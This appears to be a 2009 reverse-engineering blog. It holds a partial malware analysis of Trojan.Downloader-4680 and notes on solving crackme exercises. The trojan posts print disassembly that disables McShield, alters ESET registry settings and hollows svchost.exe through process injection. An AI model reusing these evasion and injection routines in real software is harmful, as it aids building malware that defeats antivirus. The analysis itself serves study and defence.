UPX0:15161155  push    ServiceControlManagerHandle
UPX0:1516115B  call    advapi_OpenServiceA
UPX0:15161161  or      eax, eax
UPX0:15161163  jz      short loc_1516118B
UPX0:15161165  push    eax
UPX0:15161166  pop     dword_15163200
UPX0:1516116C  push    offset unk_15163204
UPX0:15161171  push    1
UPX0:15161173  push    dword_15163200
UPX0:15161179  call    advapi_ControlService
UPX0:1516117F  push    dword_15163200
UPX0:15161185  call    advapi_DeleteService
UPX0:1516118B
UPX0:1516118B  loc_1516118B:             
UPX0:1516118B  push    ServiceControlManagerHandle
UPX0:15161191  call    advapi_CloseServiceHandle
UPX0:15161197
UPX0:15161197  locret_15161197:          
UPX0:15161197  retn
UPX0:15161197  disable_McShield endp

First lets look at what OpenSCManagerA does:

"Establishes a connection to the service control manager on the specified computer and opens the specified service control manager database."
And what is this service control manager? Again from msdn (http://msdn.microsoft.com/en-us/library/ms685150(VS.85).aspx)
"
The service control manager (SCM) is started at system boot. It is a remote procedure call (RPC) server, so that service configuration and service control programs can manipulate services on remote machines.

The service functions provide an interface for the following tasks performed by the SCM:

* Maintaining the database of installed services.
* Starting services and driver services either upon system startup or upon demand.
* Enumerating installed services and driver services.
* Maintaining status information for running services and driver services.
* Transmitting control requests to running services.
* Locking and unlocking the service database.
"
The function then tries to open a service named "McShield" (which in my case failed) and if the service exists, it marks the service for deletion from the service database.
The handles are then closed and the function returns.

After the call to disable_McShield there is a call to GetModuleFileNameA, which will return the full name of the executable file, that string is appended to "svchost.exe" and a process with command line set as "svchost.exe " is created with creation flags set to CREATE_SUSPENDED, and a handle to our module is retrieved through the call at 15161B1C to GetModuleHandleA (since 0 is passed as an argument).





Friday, 6 November 2009

Trojan.Downloader-4680 - part 1


As a malware for my first analysis I decided to download Trojan.Downloader-4680 (MD5 b48301acf88fc593b1481f994d48d1e4 ) from offensivecomputing.net.

The binary is packed with UPX.
After the unpacking loop we arrive at
UPX1:15173C75  loc_15173C75:                           
UPX1:15173C75  mov     eax, [edi]
UPX1:15173C77  or      eax, eax
UPX1:15173C79  jz      short loc_15173CB7
UPX1:15173C7B  mov     ebx, [edi+4]
UPX1:15173C7E  lea     eax, [eax+esi+13058h]
UPX1:15173C85  add     ebx, esi
UPX1:15173C87  push    eax
UPX1:15173C88  add     edi, 8
UPX1:15173C8B  call    dword ptr [esi+13080h] ; call loadlibraryA
UPX1:15173C91  xchg    eax, ebp
UPX1:15173C92
UPX1:15173C92  loc_15173C92:                           
UPX1:15173C92  mov     al, [edi]
UPX1:15173C94  inc     edi
UPX1:15173C95  or      al, al
UPX1:15173C97  jz      short loc_15173C75
UPX1:15173C99  mov     ecx, edi
UPX1:15173C9B  push    edi
UPX1:15173C9C  dec     eax
UPX1:15173C9D  repne scasb
UPX1:15173C9F  push    ebp
UPX1:15173CA0  call    dword ptr [esi+13084h] ; call GetProcAddress
UPX1:15173CA6  or      eax, eax
UPX1:15173CA8  jz      short loc_15173CB1
UPX1:15173CAA  mov     [ebx], eax
UPX1:15173CAC  add     ebx, 4
UPX1:15173CAF  jmp     short loc_15173C92
UPX1:15173CB1 
UPX1:15173CB1
UPX1:15173CB1  loc_15173CB1:                           
UPX1:15173CB1  call    dword ptr [esi+13088h]
UPX1:15173CB7
UPX1:15173CB7  loc_15173CB7:                           
UPX1:15173CB7  popa
UPX1:15173CB8  jmp     loc_15161A93

Here the malware loads kernel32.dll and calls GetProcAddress for the following procedures:
- ExitProcess
- GetTmpFileName
- GetTickCount
- Sleep
- CreateThread

The malware then executes the jmp at 15173CB8.
The target of the jmp, after the unpacking loop (and after my analysis/renaming) looks like this:

UPX0:15161A93  loc_15161A93:                           
UPX0:15161A93  call    rebuild_import_tables
UPX0:15161A98  call    search_proc_by_hash1
UPX0:15161A9D  call    search_proc_by_hash2
UPX0:15161AA2  call    disable_McShield
UPX0:15161AA7  push    400h
UPX0:15161AAC  push    offset lpFileName
UPX0:15161AB1  push    0
UPX0:15161AB3  call    k32_GetModuleFileNameA
UPX0:15161AB9  mov     startupinfo.cb, 44h
UPX0:15161AC3  mov     startupinfo.dwFlags, 1
UPX0:15161ACD  mov     startupinfo.wShowWindow, 2
UPX0:15161AD6  push    offset aSvchost_exe             ; "svchost.exe "
UPX0:15161ADB  push    offset svchost_lstrcat          ; ""
UPX0:15161AE0  call    k32_lstrcat
UPX0:15161AE6  nop
UPX0:15161AE7  push    offset lpFileName
UPX0:15161AEC  push    offset svchost_lstrcat          ; ""
UPX0:15161AF1  call    k32_lstrcat
UPX0:15161AF7  push    offset lpPROCESS_INFORMATION
UPX0:15161AFC  push    offset startupinfo
UPX0:15161B01  push    0
UPX0:15161B03  push    0
UPX0:15161B05  push    4
UPX0:15161B07  push    0
UPX0:15161B09  push    0
UPX0:15161B0B  push    0
UPX0:15161B0D  push    offset svchost_lstrcat          ; ""
UPX0:15161B12  push    0
UPX0:15161B14  call    k32_CreateProcessA
UPX0:15161B1A  push    0
UPX0:15161B1C  call    k32_GetModuleHandleA
UPX0:15161B22  mov     moduleHandle, eax
UPX0:15161B27  mov     eax, moduleHandle
UPX0:15161B2C  lea     edi, [eax]
UPX0:15161B2E  add     edi, [edi+3Ch]
UPX0:15161B31  add     edi, 4
UPX0:15161B34  nop
UPX0:15161B35  add     edi, 14h
UPX0:15161B38  mov     eax, [edi+38h]
UPX0:15161B3B  push    eax
UPX0:15161B3C  pop     dword_15163C7C
UPX0:15161B42  push    40h
UPX0:15161B44  push    3000h
UPX0:15161B49  push    dword_15163C7C
UPX0:15161B4F  push    moduleHandle
UPX0:15161B55  push    lpPROCESS_INFORMATION.hProcess
UPX0:15161B5B  call    k32_kernel32_VirtualAllocEx
UPX0:15161B61  push    eax
UPX0:15161B62  pop     dword_15163C80
UPX0:15161B68  push    offset unk_15163C84
UPX0:15161B6D  push    dword_15163C7C
UPX0:15161B73  push    moduleHandle
UPX0:15161B79  push    dword_15163C80
UPX0:15161B7F  push    lpPROCESS_INFORMATION.hProcess
UPX0:15161B85  call    k32_WriteProcessMemory
UPX0:15161B8B  push    10007h
UPX0:15161B90  pop     dword_15163C8C
UPX0:15161B96  push    offset dword_15163C8C
UPX0:15161B9B  push    lpPROCESS_INFORMATION.hThread
UPX0:15161BA1  call    k32_GetThreadContext
UPX0:15161BA7  mov     dword_15163D44, offset byte_15161703
UPX0:15161BB1  push    offset dword_15163C8C
UPX0:15161BB6  push    lpPROCESS_INFORMATION.hThread
UPX0:15161BBC  call    k32_SetThreadContext
UPX0:15161BC2  push    lpPROCESS_INFORMATION.hThread
UPX0:15161BC8  call    k32_ResumeThread
UPX0:15161BCE  push    1F4h
UPX0:15161BD3  call    k32_Sleep
UPX0:15161BD9  push    0
UPX0:15161BDB  call    k32_ExitProcess
UPX0:15161BE1  push    0
UPX0:15161BE3  call    j_kernel32_ExitProcess

Let's look at what the function rebuild_import_tables does.
It starts by calling a function that sets eax to the start address of kernel32.dll :
UPX0:151618B7  rebuild_import_tables proc near 
UPX0:151618B7  call    set_eax_k32_start_offset
UPX0:151618BC  or      eax, eax
UPX0:151618BE  jnz     loc_15161995
UPX0:151618C4  retn
.....
UPX0:15161995  loc_15161995:                           
UPX0:15161995  push    eax
UPX0:15161996  pop     offset_begin_k32
UPX0:1516199C  xor     offset_begin_k32, 522h
UPX0:151619A6  call    j_kernel32_GetTickCount
UPX0:151619AB  push    offset lpThreadAttributes
UPX0:151619B0  push    0
UPX0:151619B2  push    0
UPX0:151619B4  push    offset thread_func1
UPX0:151619B9  push    0
UPX0:151619BB  push    0
UPX0:151619BD  call    j_kernel32_CreateThread
UPX0:151619C2  call    j_kernel32_GetTickCount
UPX0:151619C7  push    0C8h
UPX0:151619CC  call    j_kernel32_Sleep
UPX0:151619D1  push    offset k32_CloseHandle
UPX0:151619D6  push    dword ptr NUMBER_OF_ADDRESSES1
UPX0:151619DC  push    offset byte_151618C5
UPX0:151619E1  push    offset_begin_k32
UPX0:151619E7  call    rebuild_import_table

The important part of this code is the call to rebuild_import_table (the return values from the call to GetTickCount aren't used for anything that I am aware of, and the thread function just undoes the xor at 1516199C).
The rebuild_import_table will find the address of NUMBER_OF_ADDRESSES1 of the given dll (in this case kernel32) and start saving them at the address passed in the last parameter (in this case k32_CloseHandle). I haven't figured out what the second argument is.
The NUMBER_OF_ADDRESSES is an hardcoded value, and the return value (in EAX) is the number of addresses looked up. After the call these were the found addresses:

UPX0:15163B58    k32_CloseHandle dd offset kernel32_CloseHandle
UPX0:15163B5C    k32_CreateFileA dd offset kernel32_CreateFileA
UPX0:15163B60    k32_CreateProcessA dd offset kernel32_CreateProcessA
UPX0:15163B64    k32_DeleteFileA dd offset kernel32_DeleteFileA
UPX0:15163B68    k32_ExitProcess dd offset kernel32_ExitProcess
UPX0:15163B6C    k32_FreeConsole dd offset kernel32_FreeConsole
UPX0:15163B70    k32_GetCommandLineA dd offset kernel32_GetCommandLineA
UPX0:15163B74    k32_GetModuleFileNameA dd offset kernel32_GetModuleFileNameA
UPX0:15163B78    k32_GetModuleHandleA dd offset kernel32_GetModuleHandleA
UPX0:15163B7C    k32_GetTempPathA dd offset kernel32_GetTempPathA
UPX0:15163B80    k32_GetThreadContext dd offset kernel32_GetThreadContext
UPX0:15163B84    k32_LoadLibraryA dd offset kernel32_LoadLibraryA
UPX0:15163B88    k32_ResumeThread dd offset kernel32_ResumeThread
UPX0:15163B8C    k32_SetThreadContext dd offset kernel32_SetThreadContext
UPX0:15163B90    k32_Sleep dd offset kernel32_Sleep     
UPX0:15163B94    k32_kernel32_VirtualAllocEx dd offset kernel32_VirtualAllocEx
UPX0:15163B98    k32_WriteFile dd offset kernel32_WriteFile
UPX0:15163B9C    k32_WriteProcessMemory dd offset kernel32_WriteProcessMemory
UPX0:15163BA0    k32_lstrcat dd offset kernel32_lstrcat 
UPX0:15163BA4    k32_lstrcpy dd offset kernel32_lstrcpy 
UPX0:15163BA8    k32_readfile dd offset kernel32_ReadFile
UPX0:15163BAC    k32_OpenProcess dd offset kernel32_OpenProcess
UPX0:15163BB0    k32_TerminateProcess dd offset kernel32_TerminateProcess
UPX0:15163BB4    k32_lstrcpyn dd offset kernel32_lstrcpyn
UPX0:15163BB8    k32_lstrlen dd offset kernel32_lstrlen 
UPX0:15163BBC    k32_lstrcmpi dd offset kernel32_lstrcmpi
UPX0:15163BC0    k32_GetProcAddress dd offset kernel32_GetProcAddress
UPX0:15163BC4    k32_GlobalAlloc dd offset kernel32_GlobalAlloc
UPX0:15163BC8    k32_GlobalFree dd offset kernel32_GlobalFree
UPX0:15163BCC    k32_CreateToolhelp32Snapshot dd offset kernel32_CreateToolhelp32Snapshot
UPX0:15163BD0    k32_Process32First dd offset kernel32_Process32First
UPX0:15163BD4    k32_Process32Next dd offset kernel32_Process32Next
UPX0:15163BD8    k32_DuplicateHandle dd offset kernel32_DuplicateHandle
UPX0:15163BDC    k32_GetCurrentProcessId dd offset kernel32_GetCurrentProcessId
UPX0:15163BE0    k32_CreateThread dd offset kernel32_CreateThread

Afterward we have a similiar process (this time to advapi.dll):

UPX0:151619F5  loc_151619F5:
UPX0:151619F5  push    offset aAdvapi32_dll
UPX0:151619FA  pop     eax
UPX0:151619FB  push    521h
UPX0:15161A00  pop     ecx
UPX0:15161A01  xor     [eax], ecx
UPX0:15161A03  push    offset lpThreadAttributes
UPX0:15161A08  push    0
UPX0:15161A0A  push    0
UPX0:15161A0C  push    offset thread_func2
UPX0:15161A11  push    0
UPX0:15161A13  push    0
UPX0:15161A13  rebuild_import_tables endp
UPX0:15161A15  call    k32_CreateThread
UPX0:15161A1B  push    0FAh
UPX0:15161A20  call    k32_Sleep
UPX0:15161A26  push    offset aAdvapi32_dll            ; "advapi32.dll"
UPX0:15161A2B  call    k32_LoadLibraryA
UPX0:15161A31  or      eax, eax
UPX0:15161A33  jz      short locret_15161A5B
UPX0:15161A35  mov     offset_begin_advapi32, eax
UPX0:15161A3A  push    offset advapi_AdjustTokenPrivileges
UPX0:15161A3F  push    NUMBER_OF_ADDRESSES2
UPX0:15161A45  push    offset byte_15161955
UPX0:15161A4A  push    eax
UPX0:15161A4B  call    rebuild_import_table
UPX0:15161A50  cmp     eax, NUMBER_OF_ADDRESSES2
UPX0:15161A56  jz      short loc_15161A5C
UPX0:15161A58  retn

as a result of this call to rebuild_import_table the following addresses were looked up:

UPX0:15163BE8  advapi_AdjustTokenPrivileges dd offset advapi32_AdjustTokenPrivileges
UPX0:15163BEC  advapi_LookupPrivilegeValueA dd offset advapi32_LookupPrivilegeValueA
UPX0:15163BF0  advapi_OpenProcessToken dd offset advapi32_OpenProcessToken
UPX0:15163BF4  advapi_RegCreateKeyA dd offset advapi32_RegCreateKeyA
UPX0:15163BF8  advapi_RegEnumKeyExA dd offset advapi32_RegEnumKeyExA
UPX0:15163BFC  advapi_RegOpenKeyExA dd offset advapi32_RegOpenKeyExA
UPX0:15163C00  advapi_RegQueryValueExA dd offset advapi32_RegQueryValueExA
UPX0:15163C04  advapi_RegSetValueExA dd offset advapi32_RegSetValueExA
UPX0:15163C08  advapi_CloseServiceHandle dd offset advapi32_CloseServiceHandle
UPX0:15163C0C  advapi_ControlService dd offset advapi32_ControlService
UPX0:15163C10  advapi_DeleteService dd offset advapi32_DeleteService
UPX0:15163C14  advapi_OpenSCManagerA dd offset advapi32_OpenSCManagerA
UPX0:15163C18  advapi_OpenServiceA dd offset advapi32_OpenServiceA

the jz is taken and we proceed to:

UPX0:15161A5C  loc_15161A5C:                           
UPX0:15161A5C  push    offset aUrlmon_dll              ; "urlmon.dll"
UPX0:15161A61  call    k32_LoadLibraryA
UPX0:15161A67  or      eax, eax
UPX0:15161A69  jz      short near ptr unk_15161A91
UPX0:15161A6B  mov     offset_begin_urlmon, eax
UPX0:15161A70  push    offset urlmon_dll_URLDownloadToFileA
UPX0:15161A75  push    NUMBER_OF_ADDRESSES3
UPX0:15161A7B  push    offset byte_1516198D
UPX0:15161A80  push    eax
UPX0:15161A81  call    rebuild_import_table
UPX0:15161A86  cmp     eax, NUMBER_OF_ADDRESSES3
UPX0:15161A8C  jz      short near ptr unk_15161A92

and the function looked up by rebuild_import_table is
UPX0:15163C20  urlmon_dll_URLDownloadToFileA dd offset urlmon_URLDownloadToFileA

Again the jz is taken and the instruction at the target address is:

UPX0:15161A92  locret_15161A92:
UPX0:15161A92  retn

So the execution returns to
UPX0:15161A98  call    search_proc_by_hash1
(the function following the call to rebuild_import_tables)

This is what the function looks like:
UPX0:151615F4  search_proc_by_hash1 proc near          
UPX0:151615F4  push    process_name_hash1
UPX0:151615FA  call    search_process
UPX0:151615FF  cmp     eax, 0
UPX0:15161602  jbe     locret_151616C5
UPX0:15161608  push    eax
UPX0:15161609  pop     dword_15163B45
UPX0:1516160F  push    offset registryKeyHandle
UPX0:15161614  push    offset aSoftwareEsetNo          ; "SOFTWARE\\Eset\\Nod\\CurrentVersion\\Module"...
UPX0:15161619  push    80000002h
UPX0:1516161E  call    advapi_RegCreateKeyA
UPX0:15161624  push    0B8h
UPX0:15161629  push    offset a2                       ; "2"
UPX0:1516162E  push    3
UPX0:15161630  push    0
UPX0:15161632  push    offset aExc                     ; "exc"
UPX0:15161637  push    registryKeyHandle
UPX0:1516163D  call    advapi_RegSetValueExA
UPX0:15161643  or      eax, eax
UPX0:15161645  jnz     short locret_151616C5
UPX0:15161647  push    3
UPX0:15161649  pop     dword_15163B41
UPX0:1516164F  push    4
UPX0:15161651  push    offset dword_15163B41
UPX0:15161656  push    4
UPX0:15161658  push    0
UPX0:1516165A  push    offset aExc_num                 ; "exc_num"
UPX0:1516165F  push    registryKeyHandle
UPX0:15161665  call    advapi_RegSetValueExA
UPX0:1516166B  push    registryKeyHandle
UPX0:15161671  call    k32_CloseHandle
UPX0:15161677  push    dword_15163B45
UPX0:1516167D  push    0
UPX0:1516167F  push    1
UPX0:15161681  mov     ecx, k32_OpenProcess
UPX0:15161687  push    ecx
UPX0:15161688  pop     dword_15163B49
UPX0:1516168E  push    0
UPX0:15161690  pop     dword_15163B4D
UPX0:15161696  push    offset registryKeyHandle
UPX0:1516169B  push    0
UPX0:1516169D  push    0
UPX0:1516169F  push    offset thread_func3
UPX0:151616A4  push    0
UPX0:151616A6  push    0
UPX0:151616A8  call    k32_CreateThread
UPX0:151616AE  push    78h
UPX0:151616B0  call    k32_Sleep
UPX0:151616B6  call    dword_15163B4D
UPX0:151616BC  push    1
UPX0:151616BE  push    eax
UPX0:151616BF  call    k32_TerminateProcess
UPX0:151616C5  locret_151616C5:                        
UPX0:151616C5  retn
UPX0:151616C5  search_proc_by_hash1 endp

We can see that there is a push of an argument and a call to search_process

UPX0:1516121D  search_process proc near                
UPX0:1516121D  push    ebp                             
UPX0:1516121E  mov     ebp, esp
UPX0:15161220  push    0
UPX0:15161222  push    TH32CS_SNAPPROCESS
UPX0:15161224  call    k32_CreateToolhelp32Snapshot
UPX0:1516122A  cmp     eax, 0FFFFFFFFh
UPX0:1516122D  jz      short locret_1516129E
UPX0:1516122F  push    eax
UPX0:15161230  pop     snapShotHandle
UPX0:15161236  mov     LPPROCESSENTRY32, 128h
UPX0:15161240  push    offset LPPROCESSENTRY32
UPX0:15161245  push    snapShotHandle
UPX0:1516124B  call    k32_Process32First
UPX0:15161251  cmp     eax, 1
UPX0:15161254  jnz     short locret_1516129E
UPX0:15161256
UPX0:15161256  loc_15161256:                           
UPX0:15161256  push    offset ProcessName              ; ""
UPX0:1516125B  call    GenHash
UPX0:15161260  cmp     eax, [ebp+8]
UPX0:15161263  jnz     short loc_1516127A
UPX0:15161265  push    snapShotHandle
UPX0:1516126B  call    k32_CloseHandle
UPX0:15161271  push    dword_15163351
UPX0:15161277  pop     eax
UPX0:15161278  jmp     short locret_1516129E
UPX0:1516127A  loc_1516127A:                            
UPX0:1516127A  push    offset LPPROCESSENTRY32
UPX0:1516127F  push    snapShotHandle
UPX0:15161285  call    k32_Process32Next
UPX0:1516128B  or      eax, eax
UPX0:1516128D  jnz     short loc_15161256
UPX0:1516128F  push    snapShotHandle
UPX0:15161295  call    k32_CloseHandle
UPX0:1516129B  push    0
UPX0:1516129D  pop     eax
UPX0:1516129E
UPX0:1516129E  locret_1516129E:                        
UPX0:1516129E                                          
UPX0:1516129E  leave
UPX0:1516129F  retn    4
UPX0:1516129F  search_process endp

This function takes a snapshot of all running processes, creates a hash of the process name and compares it to the argument. I don't know the name that would result in the given hash is, although I'm guessing it has something to do with eset nod anti-virus (which I don't have running in this machine).

As the return value of the call to search_process EAX holds 0 so the jump at 15161602 is taken (and the process returns).

I will continue with my analysis in a future post.

Monday, 2 November 2009

Back to work

After a few days of inactivity due to some personal issues, I am back to work.
Today I spent most of my day reading the IDA book.
Due to the fact that in the last couple of days I wasn't able work on the crackme, and I don't have that much spare time to keep working on it, I will probably just move on.
One topic I have never covered is unpacking, and this was basically what I spent all day reading about. In addition to this, I hope to start analyzing some malware in a near future.

Thursday, 15 October 2009

crackme12 - bruteforce 3

Since my last post I tried starting from scratch, and as far as I can tell the first byte used to XOR the binary is in fact 0x95.
So what I've found out until now is that:
a) a file named iss.rba should exist, and should have the attribute HIDDEN
b) a checksum exists (I'm ignoring this checksum for the time being) - I just change the zero flag and carry on with the debug
c) the first byte of the file is used to XOR all the bytes from 0x401145 to 0x4012AB
d) after this cycle there is a test, if we have our file like this:

  x0    | x1 | x2 | x3 | x4
0x95  | x1 | x2 | x3 | x4

x2 ^ x3 ^ x4 ^ 0xAB must equal 0

if the test succeeds, the binary proceeds to decypher bytes 0x4011B6 up to 0x4011A8.
Unlike the first cycle, instead of XOR'ing all the bytes in the binary with the same byte, it will XOR 1 dword at a time (x1x2x3x4), so ... from what I can tell, bruteforcing "blindly" is something I'm trying to stay clear of.

I thought that there should exist a sequence of bytes in this new block that had been used previously, particularly, I thought that the error message routine, which will push the caption and message, and then call MessageBoxA should exist, therefore, I copied the opcodes pertaining to the pushs's before the call o MessageBoxA (the call itself doesn't interest me since it is relative to the current position, the pushs's however are not), and tried a script that would go from 0x0 to 0xFFFFFFFF and try to find a sequence of bytes equal to the sequence of bytes relative to the  MessageBoxA prologue. This didn't work.

Tuesday, 13 October 2009

crackme12 - bruteforce 2

Today I thought I had managed to find the correct byte to XOR the crackme with. I made some progress, until the execution stopped with an illegal access, thus everything I "learnt" about the crackme today is probably useless to its solution.
Despite all this, after the cycle that XOR's the binary, everything looks good, but while stepping through the changed instructions the disassembly apparently changes (I'm yet to find a decent explanation for this) and I get an instruction that raises the afore mentioned exception.

Monday, 12 October 2009

crackme12 - bruteforce

Since my last post, I tried finding a correct value to use as the xor key.
That didn't go as well as I expected, so I started thinking about a way to bruteforce it. I tried creating 255 files, with the corresponding byte as content, patch the binary such that the jz after the addition-test  became jmp, and check each file, but this was way to slow. As an alternative I tried coding a small program that could test all the combinations of the variables, so the addition test would succeed. If this worked, then at least I would have to test only a subset of all the 255 files, should the system have more than one solution, but again, this would take an enormous ammount of time.
So ... I'm left with an alternative, probably the one I should have started with.
I have an IDC script coded that will XOR the bytes in the binary, now all I have to do is patch the binary (so that the binary won't run the xor-cycle again) and try each value.

Saturday, 10 October 2009

crackme12 - part1

This crackme starts by getting the number of cycles, and then storing the high order 32 bits into a varible (I called highOrder32BitsTSC):
CODE:004012B0 start proc far
CODE:004012B0 rdtsc
CODE:004012B2 mov ds:highOrder32BitsTSC, edx

The crackme procedes to the calculation of a filename, based on a string:
CODE:00401000 sub_401000
CODE:00401000 push ebx
CODE:00401001 push esi
CODE:00401002 push edi
CODE:00401003 xor ecx, ecx
CODE:00401005 jmp short loc_401036
CODE:00401007 ; ---------------------------------------------------------------------------
CODE:00401007
CODE:00401007 calc_fileName:
CODE:00401007 mov eax, ds:lpFileName
CODE:0040100C cmp bl, 2Eh
CODE:0040100F jz short loc_401035
CODE:00401011 mov edx, ds:lpFileName
CODE:00401017 movsx eax, bl
CODE:0040101A mov edx, ds:lpFileName
CODE:00401020 mov ebx, 1Ah
CODE:00401025 movsx edx, byte ptr [edx+ecx+1]
CODE:0040102A imul edx
CODE:0040102C cdq
CODE:0040102D idiv ebx
CODE:0040102F add dl, 61h
CODE:00401032 mov [esi+ecx], dl
CODE:00401035
CODE:00401035 loc_401035:
CODE:00401035 inc ecx
CODE:00401036
CODE:00401036 loc_401036:
CODE:00401036 mov esi, ds:lpFileName
CODE:0040103C mov bl, [esi+ecx]
CODE:0040103F test bl, bl
CODE:00401041 jnz short calc_fileName

The result from these calculations is always the same, since the input is always the same (the string xor.key:
DATA:00402000 lpFileName      dd offset aXor_key
DATA:00402010 aXor_key    db 'xor.key',0 )

so, until the end of the string 'xor.key' calc_fileName is going to be called as we can see from:

CODE:00401036 mov     esi, ds:lpFileName
CODE:0040103C mov     bl, [esi+ecx]
CODE:0040103F test    bl, bl
CODE:00401041 jnz     short calc_fileName

and what does calc_fileName do?

CODE:00401007  calc_fileName:
CODE:00401007  mov     eax, ds:lpFileName
CODE:0040100C  cmp     bl, 2Eh
CODE:0040100F  jz      short loc_401035
CODE:00401011  mov     edx, ds:lpFileName
CODE:00401017  movsx   eax, bl
CODE:0040101A  mov     edx, ds:lpFileName
CODE:00401020  mov     ebx, 1Ah
CODE:00401025  movsx   edx, byte ptr [edx+ecx+1]
CODE:0040102A  imul    edx
CODE:0040102C  cdq
CODE:0040102D  idiv    ebx
CODE:0040102F  add     dl, 61h
CODE:00401032  mov     [esi+ecx], dl
CODE:00401035
CODE:00401035 loc_401035:
CODE:00401035  inc     ecx

move the address of aXor_key to eax (401007)
compare bl (the current byte) with 2Eh (the hexa for '.')
if bl equals '.' proceed to the following byte (40100F)
move the address of aXor_key to edx (401011)
move with sign extend the current byte to eax (401017)
move the address of aXor_key to edx (40101A)
move 1Ah to ebx 401020
move with sign extend the next byte to edx (401025)
eax = eax * edx (40102A)
extend the high order bit of EAX throughout EDX (40102C)
intiger division of eax by ebx (40102D)
eax = eax / ebx (eax = eax / 1Ah)
edx = eax % ebx (edx = eax % 1Ah)
add 61h to edx (the ascii code of 'a')
and store it in the first byte of the string aXor_key (401032)
note:
Since we are dividing eax by 1A, the remainder will be between 0 and 25, by adding 61h
will guarantee that the final file name will be between 'a' and 'z'.

After this is done, the string aXor_key will hold the value 'iss.rba'.

Aftewards a few checks are going to take place:
The crackme tries to get the file attributes from a file named 'iss.rba', if it fails to do so, a control variable (named control_variable) will be set to 1:

CODE:00401043  mov     eax, ds:lpFileName
CODE:00401043                                         
CODE:00401048  push    eax                           
CODE:00401049  call    GetFileAttributesA            
CODE:0040104E  cmp     eax, 0FFFFFFh                 
CODE:00401053  jnz     short isHidden                
CODE:00401055  mov     ds:control_variable, 1
CODE:0040105F  jmp     short loc_40106F

if it succeeds, then we will test to see if the file is hidden:

CODE:00401061 isHidden:
CODE:00401061 test    al, 2 ; FILE_ATTRIBUTE_HIDDEN
CODE:00401063  jnz     short loc_40106F
CODE:00401065   ds:control_variable, 1

Afterwards it tries to open the file, and read 27h bytes to a variable named file_buffer (location 40205C)

CODE:0040106F loc_40106F:
CODE:0040106F   mov     edx, ds:control_variable
CODE:00401075   test    edx, edx                    
CODE:00401077  jnz     short loc_401098            
CODE:00401079   push    0                           
CODE:0040107B   mov     ecx, ds:lpFileName
CODE:00401081   push    ecx                         
CODE:00401082   call    _lopen                      
CODE:00401087   mov     edi, eax
CODE:00401089   cmp     edi, 0FFFFFFFFh             
CODE:0040108C   jnz     short loc_401098            
CODE:0040108E  mov     ds:control_variable, 1
CODE:00401098
CODE:00401098 loc_401098:
CODE:00401098  mov     eax, ds:control_variable
CODE:0040109D  test    eax, eax                    
CODE:0040109F  jnz     short test_control_var      
CODE:004010A1  xor     ecx, ecx                     
CODE:004010A3  mov     eax, offset file_buffer
CODE:004010A8
CODE:004010A8 clearBufferAndReadFile:               
CODE:004010A8   mov     byte ptr [eax], 0
CODE:004010AB   inc     ecx                           
CODE:004010AC   inc     eax                           
CODE:004010AD   cmp     ecx, 28h                      
CODE:004010B0   jl      short clearBufferAndReadFile    )
CODE:004010B2   push    27h                           
CODE:004010B4   push    offset file_buffer            
CODE:004010B9   push    edi                           
CODE:004010BA   call    _lread                        
CODE:004010BF   push    edi                           
CODE:004010C0   call    _lclose                       
CODE:004010C5   xor     eax, eax                      
CODE:004010C7   xor     ecx, ecx                      
CODE:004010C9   mov     edx, offset file_buffer

And now, another test comes up:
CODE:004010CE loc_4010CE:
CODE:004010CE  mov     ebx, [edx]                    
CODE:004010D0  add     ebx, eax                      
CODE:004010D2  mov     eax, ebx
CODE:004010D4  add     ecx, 4                        
CODE:004010D7  add     edx, 4                        
CODE:004010DA  cmp     ecx, 25h                      
CODE:004010DD  jl      short loc_4010CE              
CODE:004010DF  test    eax, eax                      
CODE:004010E1  jz      short test_control_var        
CODE:004010E3  mov     ds:control_variable, 1
CODE:004010ED  mov     eax, ds:control_variable
CODE:004010F2  test    eax, eax                        ; Logical Compare
CODE:004010F4  jz      short not_bad

Assuming we have the following in our file iss.rba:
ABCDEFGHIJKLMNOPQRSTUVWXYZ
equivalently:
414243444546474849...
what is happening here is that
44434241 + 48474645 ... & 0xFFFFFFFF = 0 so this loop will run 10 times.
Aditionally, the first byte, is going to be used, to XOR
4012AB - 401145 bytes of the program, starting at 401145
which will be the first executed instruction after the loop that XOR's all the bytes.
We can see that happening here:

CODE:00401112 not_bad:
CODE:00401112 C7 05 C4 20 40 00+mov     ds:dword_4020C4, offset loc_401145
CODE:0040111C C7 05 C8 20 40 00+mov     ds:dword_4020C8, offset loc_4012AB
CODE:00401126 EB 0E             jmp     short loc_401136                ; Jump
CODE:00401128                   ; ---------------------------------------------------------------------------
CODE:00401128
CODE:00401128 loc_401128:
CODE:00401128   mov     dl, ds:file_buffer
CODE:0040112E  xor     [eax], dl                     
CODE:00401130  inc     ds:dword_4020C4               
CODE:00401136 loc_401136:
CODE:00401136  mov     eax, ds:dword_4020C4
CODE:0040113B  mov     ecx, ds:dword_4020C8
CODE:00401141  cmp     eax, ecx                      
CODE:00401143  jb      short loc_401128              
CODE:00401145 loc_401145:                           
CODE:00401145  35 C8 B5 D5 95 xor     eax, 95D5B5C8h   (with opcodes)       

The information I provided above, is all I know about crackme12.
Currently, I'm trying to figure out if there are any other constraints enforced on the first byte of the file iss.rba.
The first idea that came to my mind was simply "we don't have to find a byte that XOR'ed with 358 bytes will generate legal instructions. If we XOR 35h with E9 and the following 4 bytes are a legal address, outside of the 358-xor'ed-bytes-region, we should be ok", again, it was over optimistic :P.

I think I will try with other flow changing instructions, and see where I can go from there, since I'm trying to find out a byte that generates legal instructions, and then build a string such that the addition-test mentioned previously succeeds.

As far as the number of cycles go, I can't say for sure, but the only possible reason I can see for the number of cycles to be stored in a variable, is for later comparision with the number of cycles executed at a later point in the program. One can do this for two reasons (at least, these are the only two reasons I can think of right now): benchmarking, and anti-debug. It will be interesting to see if/how the number of cycles will be used in this crackme.

crackme11-final

The solution, and keygen code for crackme11:

This crackme starts by XOR'ing 1200h bytes starting at 402000:

CODE:00401000 mov ecx, 1200h
CODE:00401005 mov edi, offset unk_402000
CODE:0040100A mov esi, edi
CODE:0040100C
CODE:0040100C loc_40100C:
CODE:0040100C lodsb
CODE:0040100D xor al, 21h
CODE:0040100F stosb
CODE:00401010 loop loc_40100C

and then it installs the exception handler:

CODE:00401012 call sub_40107C
CODE:00401017
CODE:00401017 exception_handler:
....

disassembly with opcodes:

CODE:0040107C 64 67 FF 36 00 00     push dword ptr fs:0
CODE:00401082 64 67 89 26 00 00     mov fs:0, esp
CODE:00401088 60                     pusha
CODE:00401089 9C                     pushf
CODE:0040108A 33 C0                 xor eax, eax
CODE:0040108C E8 09 00 00 00         call near ptr loc_401099+1
CODE:00401091 E8 E8 23 00 00         call near ptr unk_40347E
